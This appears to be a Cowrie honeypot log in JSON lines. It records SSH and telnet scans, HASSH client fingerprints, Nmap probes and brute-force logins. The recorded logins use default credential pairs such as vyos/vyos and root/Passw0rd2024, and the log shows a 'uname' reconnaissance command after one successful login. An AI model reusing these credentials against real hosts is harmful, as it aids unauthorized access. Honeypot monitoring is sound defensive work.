{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:55.981359Z","src_ip":"45.156.87.204","session":"57bf13c1cb1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:56.064533Z","src_ip":"45.156.87.204","session":"57bf13c1cb1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:56.311688Z","src_ip":"45.156.87.204","session":"57bf13c1cb1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:57.396873Z","src_ip":"45.156.87.204","session":"57bf13c1cb1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39192,"dst_ip":"159.203.135.109","dst_port":22,"session":"508c5b44f110","protocol":"ssh","message":"New connection: 45.156.87.204:39192 (159.203.135.109:22) [session: 508c5b44f110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:59.395494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:59.400945Z","src_ip":"45.156.87.204","session":"508c5b44f110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:59.484245Z","src_ip":"45.156.87.204","session":"508c5b44f110","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:59.729286Z","src_ip":"45.156.87.204","session":"508c5b44f110","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:59.949427Z","src_ip":"45.156.87.204","session":"508c5b44f110","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:59.953626Z","src_ip":"45.156.87.204","session":"508c5b44f110","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:00.188468Z","src_ip":"45.156.87.204","session":"508c5b44f110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:00.194890Z","src_ip":"45.156.87.204","session":"508c5b44f110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33366,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fe450532fc8","protocol":"telnet","message":"New connection: 152.42.224.71:33366 (10.17.0.5:23) [session: 5fe450532fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:00.949372Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33376,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21c46c41832","protocol":"telnet","message":"New connection: 152.42.224.71:33376 (10.17.0.5:23) [session: e21c46c41832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:01.767386Z"}
{"eventid":"cowrie.session.closed","duration":46.0028133392334,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:01.800797Z","src_ip":"152.42.224.71","session":"f86bba60e240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58d31906b98","protocol":"telnet","message":"New connection: 152.42.224.71:33386 (10.17.0.5:23) [session: d58d31906b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:02.779207Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49728,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad824e77b7e","protocol":"ssh","message":"New connection: 45.156.87.204:49728 (159.203.135.109:22) [session: dad824e77b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:03.108501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:03.113825Z","src_ip":"45.156.87.204","session":"dad824e77b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:03.201847Z","src_ip":"45.156.87.204","session":"dad824e77b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:03.449693Z","src_ip":"45.156.87.204","session":"dad824e77b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":41030,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde11d459cce","protocol":"ssh","message":"New connection: 124.155.125.131:41030 (159.203.135.109:22) [session: bde11d459cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:03.968693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:03.973775Z","src_ip":"124.155.125.131","session":"bde11d459cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:04.149905Z","src_ip":"124.155.125.131","session":"bde11d459cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:04.533427Z","src_ip":"45.156.87.204","session":"dad824e77b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2024","message":"login attempt [root/Passw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:04.884944Z","src_ip":"124.155.125.131","session":"bde11d459cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.92240571975708,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:05.529292Z","src_ip":"152.42.224.71","session":"a247a8bbebbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:06.064026Z","src_ip":"124.155.125.131","session":"bde11d459cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.75556421279907,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:06.242904Z","src_ip":"152.42.224.71","session":"56848bd284fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49740,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cef8806b24b","protocol":"ssh","message":"New connection: 45.156.87.204:49740 (159.203.135.109:22) [session: 9cef8806b24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:06.578965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:06.583228Z","src_ip":"45.156.87.204","session":"9cef8806b24b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:06.665462Z","src_ip":"45.156.87.204","session":"9cef8806b24b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":16646,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a25d49f5f23","protocol":"ssh","message":"New connection: 35.190.209.69:16646 (159.203.135.109:22) [session: 5a25d49f5f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:06.775940Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:06.908450Z","src_ip":"35.190.209.69","session":"5a25d49f5f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:06.913374Z","src_ip":"35.190.209.69","session":"5a25d49f5f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:06.917139Z","src_ip":"45.156.87.204","session":"9cef8806b24b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":16654,"dst_ip":"159.203.135.109","dst_port":22,"session":"1137d60a97b1","protocol":"ssh","message":"New connection: 35.190.209.69:16654 (159.203.135.109:22) [session: 1137d60a97b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:07.142848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:07.275429Z","src_ip":"35.190.209.69","session":"1137d60a97b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:07.351039Z","src_ip":"35.190.209.69","session":"1137d60a97b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:07.359321Z","src_ip":"35.190.209.69","session":"1137d60a97b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.62785816192627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:07.418007Z","src_ip":"152.42.224.71","session":"1f84c75ab18c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":16670,"dst_ip":"159.203.135.109","dst_port":22,"session":"829183d0ec8b","protocol":"ssh","message":"New connection: 35.190.209.69:16670 (159.203.135.109:22) [session: 829183d0ec8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:07.503085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:07.635592Z","src_ip":"35.190.209.69","session":"829183d0ec8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:07.709776Z","src_ip":"35.190.209.69","session":"829183d0ec8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:07.948274Z","src_ip":"35.190.209.69","session":"829183d0ec8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.006998Z","src_ip":"45.156.87.204","session":"9cef8806b24b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":16262,"dst_ip":"159.203.135.109","dst_port":22,"session":"372b5eadc00d","protocol":"ssh","message":"New connection: 35.190.209.69:16262 (159.203.135.109:22) [session: 372b5eadc00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.026409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.110775Z","src_ip":"35.190.209.69","session":"372b5eadc00d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.187250Z","src_ip":"35.190.209.69","session":"372b5eadc00d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38658,"dst_ip":"10.17.0.5","dst_port":22,"session":"891f16c3c0f3","protocol":"ssh","message":"New connection: 87.251.64.176:38658 (10.17.0.5:22) [session: 891f16c3c0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.212979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.219139Z","src_ip":"87.251.64.176","session":"891f16c3c0f3","protocol":"ssh"}
